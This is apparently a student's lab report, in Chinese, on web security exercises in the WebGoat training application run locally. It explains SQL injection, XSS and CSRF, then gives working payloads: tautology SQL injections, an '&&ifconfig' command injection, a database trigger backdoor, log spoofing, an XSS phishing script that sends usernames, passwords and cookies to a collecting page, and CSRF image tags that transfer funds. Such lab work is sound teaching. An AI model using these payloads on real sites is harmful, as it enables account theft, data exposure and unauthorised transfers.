20145222黃亞奇《網絡對抗》web安全基礎實踐

web安全基礎實踐

實驗後回答問題

  • (1)SQL注入攻擊原理,如何防護
    原理:指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非受權的任意查詢,從而進一步獲得相應的數據信息。
    防護:在設計程序時,應該設計成不易篡改的或者說能有主動判斷合法性的代碼,而且將存有敏感信息的數據庫放在防火牆內部。php

  • (2)XSS攻擊的原理,如何防護
    原理:是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上,其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。  
    防護:在不須要html輸入的地方對html 標籤及一些特殊字符( 」 < > & 等等 )作過濾,將其轉化爲不被瀏覽器解釋執行的字符。
  • (3)CSRF攻擊原理,如何防護
    原理:一種對網站的惡意利用,CSRF能夠劫持會話和cookie來冒名進行一些操做。
    防護:對web應用時進行設置,不長時間保存cookie,不訪問不良網站。html

實驗感想

網絡世界太危險,趕忙回火星。前端

實踐過程記錄

webgoat

  • 使用命令java -jar webgoat-container-7.0.1-war-exec.jar開啓webgoat。
  • 在瀏覽器輸入localhost:8080/WebGoat,直接點擊登陸,進去。

SQL字符串注入(String SQL Injection)

一個能夠查看信用卡號的表單,當使用SQL注入(在name裏輸入一個永真式a or 1)時,則可讓全部的信用卡號都看得見。
java

數字型SQL注入(Numeric SQL Injection)

  1. 想繼續用SQL注入來獲取信息,然而沒有輸入鍵,就只好用kali中一個從未用過的軟件(BurpSuite)來經過抓包獲取數據並修改。
  2. 步驟:在BurpSuite添加一個新端口8888——設置瀏覽器的代理——回到webgoat,點擊GO——又回到burpsuite:修改station值從爲101 爲 101 or 1=1,點擊GO——成功。


命令注入(Command Injection)

  • 仍是使用burpsuite注入:進行包分析,而後發現特徵cat,注入命令AccessControlMatrix.help"&&ifconfig"(僅僅加一個&&ifconfig就行),go一下,成功!


LAB:stage 1 SQL Injection(字符串注入)

  • 與上面的字符串注入不一樣,用戶名沒法輸入,因此在密碼上花功夫。仍是利用burpsuite代理注入。在password = ' '這裏進行注入or 1=1 --這個永真式,不管什麼用戶名,都通通經過。
    web

  • 登陸成功!
    sql

Database Backdoors

  1. 在userid中輸入101 or 1=1;--,經過。
    數據庫

  2. 理解題意:使用SQL語句實現:在myBackDoor表中一旦添加新用戶,那麼就在用戶表裏將新用戶的郵箱改成題目固定的郵箱(暗自想:黑客「偷錢」好簡單,網絡安全很重要)。so,插入SQL語句就能夠啦:101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid;
    成功:
    瀏覽器

log Spoofing

這種攻擊是一種欺騙日誌的方法,操做很簡單:在用戶名中添加smith%0d%0aLogin Succeeded,提交就成功啦。
安全

跨站腳本釣魚攻擊(Phishing with XSS)

  • 方法操做:在/var/www/html下編輯imgsrc.php(即一個釣魚網站)。保存以後,在輸入框中注入一段前端代碼:服務器

    <script>
      function hack(){
      str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie;  
       str2="http://127.0.0.1:5320/imgsrc.php?" + str;
    
      XSSImage=new Image; 
      XSSImage.src=str2;
      alert(str2);
      }
      </script>
    
      </form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>
      Enter Username:<br><input type="text" name="user"><br>
      Enter Password:<br><input type="password" name = "pass"><br>
      <input type="submit" name="submit" value="Login" onclick="hack()"><br>
      </form><br><br><HR>
  • 而後將提示用戶輸入帳號口令從而完成釣魚攻擊!

  • 成功獲取信息,完成釣魚攻擊:

Reflected XSS Attacks

  • 方法操做:在文本框中插入<script>alert("5222")</script>,當點擊提交時,會彈出對話框。

  • 感受這個攻擊方法沒有上面那個實用,雖然如今尚未想明白它能夠用來幹什麼,可是高端玩家應該是能夠利用起來的。

Cross Site Request Forgery(CSRF)

  • 實際操做:咱們在message框中輸入一串代碼:<img src="http://localhost:8080/WebGoat/attack?Screen=484&menu=900&transferFunds=4000"/>
  • 結果:在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的4000元,從而達到CSRF攻擊的目的。

CSRF Prompt By-Pass

  • 方法操做:在massage中輸入命令:

    <img src='attack?Screen=275&menu=900&transferFunds=5000'>
    
      <img src='attack?Screen=275&menu=900&transferFunds=CIONFIRM'>
  • 成功!

相關文章
相關標籤/搜索